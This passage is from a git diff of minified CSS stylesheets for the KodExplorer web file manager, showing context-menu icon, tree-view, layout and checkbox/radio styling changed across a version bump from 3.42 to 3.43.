opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resizeMask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} +/* ver 3.43(2017-04-12) [build 1491999048.4252] */ \ No newline at end of file diff --git a/static/style/skin/base/app_explorer.css b/static/style/skin/base/app_explorer.css index f04a570..9980741 100755 --- a/static/style/skin/base/app_explorer.css +++ b/static/style/skin/base/app_explorer.css @@ -1,4 +1,4 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589355.9626] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none 